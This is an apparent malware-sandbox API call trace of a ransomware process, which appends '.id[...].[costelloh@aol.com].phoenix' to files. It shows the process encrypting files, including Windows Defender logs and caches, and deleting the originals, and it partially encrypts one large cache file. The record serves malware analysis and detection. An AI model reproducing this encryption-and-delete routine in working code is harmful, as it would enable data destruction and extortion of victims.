	[0248.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.723] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=338) returned 1
	[0248.723] CloseHandle (hObject=0x2e8) returned 1
	[0248.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini")) returned 0x26
	[0248.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.723] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.723] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.723] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.723] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.726] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0248.726] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.726] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x152, lpOverlapped=0x0) returned 1
	[0248.727] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160, dwBufLen=0x160 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160) returned 1
	[0248.727] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x160, lpOverlapped=0x0) returned 1
	[0248.730] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0248.730] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.730] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.730] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.730] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.731] CryptDestroyKey (hKey=0x151240) returned 1
	[0248.731] CloseHandle (hObject=0x2e8) returned 1
	[0248.731] CloseHandle (hObject=0x2f0) returned 1
	[0248.732] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini")) returned 1
	[0248.734] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.735] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.735] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=576) returned 1
	[0248.735] CloseHandle (hObject=0x2f0) returned 1
	[0248.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini")) returned 0x26
	[0248.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.735] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.735] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.735] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.735] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0248.736] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.736] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x240, lpOverlapped=0x0) returned 1
	[0248.737] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x250, dwBufLen=0x250 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x250) returned 1
	[0248.737] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x250, lpOverlapped=0x0) returned 1
	[0248.738] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0248.738] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.738] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.738] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0248.739] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.739] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.739] CloseHandle (hObject=0x2f0) returned 1
	[0248.739] CloseHandle (hObject=0x2e8) returned 1
	[0248.739] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu places\\desktop.ini")) returned 1
	[0248.741] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.741] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.741] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=353) returned 1
	[0248.741] CloseHandle (hObject=0x2e8) returned 1
	[0248.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt")) returned 0x20
	[0248.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.741] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.742] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.742] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.742] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.743] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0248.743] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.743] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x161, lpOverlapped=0x0) returned 1
	[0248.744] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170, dwBufLen=0x170 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170) returned 1
	[0248.744] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x170, lpOverlapped=0x0) returned 1
	[0248.745] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0248.745] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.745] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.745] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.745] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.746] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0248.746] CloseHandle (hObject=0x2e8) returned 1
	[0248.746] CloseHandle (hObject=0x2f0) returned 1
	[0248.746] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt")) returned 1
	[0248.747] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.747] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.748] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5081) returned 1
	[0248.748] CloseHandle (hObject=0x2f0) returned 1
	[0248.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat")) returned 0x20
	[0248.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.749] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.749] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.749] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0248.749] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.749] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x13d9, lpOverlapped=0x0) returned 1
	[0248.966] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13e0) returned 1
	[0248.966] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x13e0, lpOverlapped=0x0) returned 1
	[0248.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0248.968] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.968] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0248.968] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.968] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0248.968] CryptDestroyKey (hKey=0x151740) returned 1
	[0248.968] CloseHandle (hObject=0x2f0) returned 1
	[0248.968] CloseHandle (hObject=0x2e8) returned 1
	[0248.968] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\A75BFDE52F3DD8E6.dat" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\metastore\\2\\94\\a75bfde52f3dd8e6.dat")) returned 1
	[0248.969] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.969] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.970] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=10661015) returned 1
	[0248.970] CloseHandle (hObject=0x2e8) returned 1
	[0248.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin")) returned 0x20
	[0248.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0249.317] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.317] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0249.317] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0249.317] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x31b3058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0249.368] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x363987, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0249.368] ReadFile (in: hFile=0x2e8, lpBuffer=0x31f3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x31f3058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0249.466] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x9eac97, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0249.466] ReadFile (in: hFile=0x2e8, lpBuffer=0x3233058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x3233058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0249.525] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe44 | out: phKey=0x2f4fe44*=0x151240) returned 1
	[0249.526] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.526] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf8*=0xc00b0, dwBufLen=0xc00b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf8*=0xc00b0) returned 1
	[0249.527] CryptDestroyKey (hKey=0x151240) returned 1
	[0249.527] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe20 | out: lpNewFilePointer=0x0) returned 1
	[0249.527] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x2f4fe30, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe30*=0xc0162, lpOverlapped=0x0) returned 1
	[0249.589] SetEndOfFile (hFile=0x2e8) returned 1
	[0249.590] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x9eac97, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.590] WriteFile (in: hFile=0x2e8, lpBuffer=0x327319a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327319a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0249.591] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x363987, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.592] WriteFile (in: hFile=0x2e8, lpBuffer=0x327319a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327319a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0249.594] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.594] WriteFile (in: hFile=0x2e8, lpBuffer=0x327319a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327319a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0249.595] CloseHandle (hObject=0x2e8) returned 1
	[0249.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.686] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=89534) returned 1
	[0249.686] CloseHandle (hObject=0x2b0) returned 1
